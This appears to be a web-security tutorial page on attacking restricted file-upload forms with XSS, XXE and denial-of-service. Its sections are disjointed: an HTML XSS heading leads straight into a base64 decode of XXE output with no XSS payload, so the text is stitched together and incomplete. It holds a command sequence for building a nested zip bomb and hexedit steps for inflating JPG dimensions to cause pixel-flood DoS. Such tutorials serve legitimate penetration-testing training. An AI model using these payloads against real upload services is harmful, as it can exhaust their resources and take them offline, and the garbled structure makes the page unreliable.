π‘οΈ Secure Forms: Attacking "secure" upload forms with XSS, XXE, and DoS when arbitrary uploads fail
Overview
So far, we have been mainly dealing with filter bypasses to obtain arbitrary file uploads through a vulnerable web application. While file upload forms with weak filters can be exploited to upload arbitrary files, some upload forms have secure filters that may not be exploitable with the techniques we discussed.
However, even if we are dealing with a limited (i.e., non-arbitrary) file upload form, which only allows us to upload specific file types, we may still be able to perform some attacks on the web application.
Certain file types, like SVG, HTML, XML, and even some image and document files, may allow us to introduce new vulnerabilities to the web application by uploading malicious versions of these files.
Cross-Site Scripting (XSS) Attacks
HTML File XSS
Attack Vector: Upload malicious HTML files containing JavaScript
# Once you get base64 output from XXE, decode it:
echo "PD9waHAKZWNobyAiSGVsbG8gV29ybGQhIjsKPz4=" | base64 -d
# Output: <?php echo "Hello World!"; ?>
# Create a large file filled with zeros
dd if=/dev/zero bs=1M count=1024 of=large_file.txt
# Compress it multiple times
zip bomb1.zip large_file.txt
zip bomb2.zip bomb1.zip
zip bomb3.zip bomb2.zip
zip final_bomb.zip bomb3.zip
# Result: Small ZIP file that expands to gigabytes
# Use hexedit to modify JPG dimensions
hexedit normal.jpg
# Look for FF C0 marker
# Modify bytes at positions:
# Height: Set to FF FF (65535 pixels)
# Width: Set to FF FF (65535 pixels)